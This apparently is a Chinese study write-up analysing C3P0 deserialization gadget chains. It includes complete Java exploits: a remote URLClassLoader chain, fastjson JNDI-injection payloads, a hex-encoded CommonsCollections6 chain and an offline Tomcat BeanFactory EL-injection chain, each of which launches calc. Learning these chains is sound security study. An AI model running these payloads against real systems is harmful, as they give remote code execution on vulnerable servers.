C3P0 链学习

前言

C3P0是什么呢,它属于一个开源的JDBC连接池,而JDBC英文全称:Java DataBase Connectivity,是java程序访问数据库的标准接口,毕竟java不可能通过TCP去连接数据库
连接池的作用即是,当我们频繁操作数据库时,无可避免伴随大量的创建和销毁举兵,会增大资源消耗,而连接池就是我们提前写好一些句柄,使用的时候就拿出来,不用了再放进去
而一般情况,java中对于数据库相关连接的组件,无可避免的带着若许序列化反序列化操作 or JNDI服务

依赖

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

jdk8u65

学习

常见的链子有三种

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

方式一:URLClassLoader

这里简单说明一下
URLClassLoader 是 Java 中的一个类加载器,它扩展了 ClassLoader,能够从本地目录、JAR 包中以及网络指定位置加载类
这里关键类ReferenceableUtils
其余自己就进IDEA里调吧
IDEA里找引用还是不太方便,这里宁愿直接build成数据库直接Codeql了
当作熟悉操作了

具体操作(可能是邪修)

1
2
3
4
5
新建项目,导入C3p0包
build,得到的jar包里有C3p0依赖
再用jsax解包,得到sources
codeql database create db-name --language=java --source-root=./sources --build-mode=none
成功创建数据库

查找一下关键方法1的调用情况referenceToObject
效果也是相当好的

1
2
3
4
5
6
import java


from MethodCall call
where call.getMethod().getName() = "referenceToObject"
select call, call.getMethod(), call.getLocation()

有这么两处,关键在这个getObject方法上

这里很有意思,我们看到了lookup方法,但是没有参数控制,实现不显示

再看一下这个方法的被调用情况

1
2
3
4
5
6
7
import java


from MethodCall call
where
call.getMethod().getName() = "getObject" and call.getMethod().getDeclaringType().getName() = "ReferenceIndirector"
select call, call.getMethod(), call.getLocation()

注意上面这个查询语句是错误的,一般也不会直接调用这么好指定类的getObject方法,直接找getObject,手动看

差不多有两个类PoolBackedDataSourceBase+JndiRefDataSourceBase

主要看PoolBackedDataSourceBase
最后找到

1
2
3
4
5
6
7
8
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch (version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized) o).getObject();
}

PoolBackedDataSourceBase#readObject方法
也有一处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch (version) {
case 1:
this.caching = ois.readBoolean();
this.factoryClassLocation = (String) ois.readObject();
this.identityToken = (String) ois.readObject();
this.jndiEnv = (Hashtable) ois.readObject();
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized) o).getObject();
}
this.jndiName = o;
this.pcs = new PropertyChangeSupport(this);
this.vcs = new VetoableChangeSupport(this);
return;
default:
throw new IOException("Unsupported Serialized Version: " + ((int) version));
}
}

com.mchange.v2.c3p0.impl#JndiRefDataSourceBase

我们先看第一个的EXP如何写
这就需要我们动调了?当然直接静态分析也可,需要追踪污点

简单调一下
关键点在于

1
2
3
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;

执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了 ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable 接口,所以是无法直接用于代码里面的。

我们跟进一下writeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
private void writeObject( ObjectOutputStream oos ) throws IOException
{
oos.writeShort( VERSION );
try
{
//test serialize
SerializableUtils.toByteArray(connectionPoolDataSource);
oos.writeObject( connectionPoolDataSource );
}
catch (NotSerializableException nse)
{
com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try
{
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
}
catch (IOException indirectionIOException)
{ throw indirectionIOException; }
catch (Exception indirectionOtherException)
{ throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + indirectionOtherException.toString() ); }
}
oos.writeObject( dataSourceName );
try
{
//test serialize
SerializableUtils.toByteArray(extensions);
oos.writeObject( extensions );
}
catch (NotSerializableException nse)
{
com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try
{
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( extensions ) );
}
catch (IOException indirectionIOException)
{ throw indirectionIOException; }
catch (Exception indirectionOtherException)
{ throw new IOException("Problem indirectly serializing extensions: " + indirectionOtherException.toString() ); }
}
oos.writeObject( factoryClassLocation );
oos.writeObject( identityToken );
oos.writeInt(numHelperThreads);
}

跟进 indirector.indirectForm() 看一看,当然这个地方的 indirector 实际上就是 com.mchange.v2.naming.ReferenceIndirector,所以语句等价于

1
ReferenceIndirector.indirectForm()

返回的是 ReferenceSerialized 的一个构造函数,ReferenceSerialized 实际上是一个内部类,而它是可序列化的

即,经过这么一步操作,拿到的 “ConnectionPoolDataSource” 外表上还是 “ConnectionPoolDataSource”,但是实际上已经变成了 “ReferenceSerialized” 这个类=>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext var1;
if (this.env == null) {
var1 = new InitialContext();
} else {
var1 = new InitialContext(this.env);
}

Context var2 = null;
if (this.contextName != null) {
var2 = (Context)var1.lookup(this.contextName);
}

return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
} catch (NamingException var3) {
if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
}

throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString());
}
}

抄一下网上的payload

ReferenceableUtils.referenceToObject

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
public class exp {
public exp() throws Exception{
Runtime.getRuntime().exec("calc");
}
}



import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class CPDS implements ConnectionPoolDataSource , Referenceable {

@Override
public Reference getReference() throws NamingException {
return new Reference("ExpClass","exp","http://127.0.0.1:8888/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}


}


import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;

public class Test {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase pbds=new PoolBackedDataSourceBase(false);
Class cls= pbds.getClass();
Field field=cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(pbds,new CPDS());
serialize(pbds);
unserialize();
}

public static void serialize(PoolBackedDataSourceBase pbds) throws Exception{
FileOutputStream fil=new FileOutputStream(new File("ser.bin"));
ObjectOutputStream oos= new ObjectOutputStream(fil);
oos.writeObject(pbds);
}


public static void unserialize()throws Exception {
FileInputStream fis=new FileInputStream(new File("ser.bin"));
ObjectInputStream objectInputStream=new ObjectInputStream(fis);
objectInputStream.readObject();
}
}

大抵跟了一遍,还是很明白的

方式二:JNDI注入

该链子是基于fastjson的,我们找到触发点,向上走到set/get方法,再利用fastjson进行触发
找下lookup的被调用的类
这里感觉比较可疑的有
JndiRefForwardingDataSource
不过再分析这个类之前,我们看一下之前,为什么那个可以的lookup失败

1
2
3
if (this.contextName != null) {
context = (Context) initialContext.lookup(this.contextName);
}

这里的contextName是一个类,是无法赋给字符串对象的

那么现在呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private DataSource dereference() throws SQLException {
InitialContext ctx;
Object jndiName = getJndiName();
Hashtable jndiEnv = getJndiEnv();
try {
if (jndiEnv != null) {
ctx = new InitialContext(jndiEnv);
} else {
ctx = new InitialContext();
}
if (jndiName instanceof String) {
return (DataSource) ctx.lookup((String) jndiName);
}
if (jndiName instanceof Name) {
return (DataSource) ctx.lookup((Name) jndiName);
}
throw new SQLException("Could not find ConnectionPoolDataSource with JNDI name: " + jndiName);
} catch (NamingException e) {
if (logger.isLoggable(MLevel.WARNING)) {
logger.log(MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", e);
}
throw SqlUtils.toSQLException(e);
}
}

这里是可以传入的
我们如何控制整个jndiname呢?
只要我们找到一条fastjson链的入口即可,赋值很简单
我们发现inner方法调用了这个类
如何调用inner呢?有很多的set&get方法,利用fastjson即可
也可以继续网上走

1
还要继续向上找,可能是因为这个 JndiRefForwardingDataSource 类是 default 的类,觉得利用面还是不够大
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
JndiRefConnectionPoolDataSource这个类同理,原理是一样的  
导入 fastjson 的包,导 1.2.24 ,因为 1.2.25 版本的 fastjson 当中就已经把 com.mchange 包加入了黑名单
至于fault和public区别

package JNDIVul;

import com.alibaba.fastjson.JSON;

// JndiRefForwardingDataSource 类的直接 EXP 调用
public class JndiForwardingDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
public class JndiRefConnectionPoolDataSourceTest {
public static void main(String[] args) throws PropertyVetoException, SQLException {
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();
jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");
jndiRefConnectionPoolDataSource.setLoginTimeout(1);
}
}
当然public也可以fastjson触发
public class JndiRefConnectionPoolDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}

方式三:hexbase 攻击

WrapperConnectionPoolDataSource 类,它能够反序列化一串十六进制字符串

链子首部是在 WrapperConnectionPoolDataSource 类的构造函数

1
2
3
4
5
6
7
try
{ this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString() ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), e );
}
1
2
3
4
5
6
7
8
9
10
11
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}
1
2
3
4
5
6
7
8
9
10
11
   public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}
1
2
3
4
public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
return var1.readObject();
}

这里是一处反序列化
传入的字符串有何要求呢?
parseUserOverridesAsString

1
这里把 hex 字符串读了进来,把转码后的结果保存到了 serBytes 这个字节流的数组中,这个字节流是拿去进行 SerializableUtils.fromByteArray()的操作,值得注意的是,在解析过程中调用了 substring() 方法将字符串头部的 HASM_HEADER 截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;

EXP

1
getUserOverridesAsString()这个方法可以通过fastjson触发,这里也是一道典型的二次反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package hexBase;  

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class HexBaseFastjsonEXP {

//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");

// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

return expMap;
}


static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);

//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);


}
}

低版本fastjson直接

1
2
3
4
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";

这俩exp都可以调试一下,就会更清楚原理了
精细的东西还是要懂的

不出网利用

以上的攻击方式,基本依赖出网条件 or fastjson
有没有其他办法呢?

1
在 Jndi 高版本利用中,我们可以加载本地的 Factory 类进行攻击,而利用条件之一就是该工厂类至少存在一个 getObjectInstance() 方法。比如通过加载 Tomcat8 中的 org.apache.naming.factory.BeanFactory 进行 EL 表达式注入

依赖

1
2
3
4
5
6
7
8
9
10
<dependency>  
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>

以上三条链子,还是依赖URLClassLoader,毕竟它不止是能加载远程还有本地
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package NoNetUsing;  

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class NoAccessEXP {

public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

//序列化
public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);

//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("ser.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);

}

//反序列化
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("ser.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Loader_Ref loader_ref = new Loader_Ref();
serialize(loader_ref);
unserialize();
}
}

结语

该链子的出境频率很高

1
C3P0 的包在实战环境中除CommonsCollections、CommonsBeanutiles 以外遇到最多的 JAR 包,其中一部分 C3P0 是被 org.quartz-scheduler:quartz 所依赖进来的。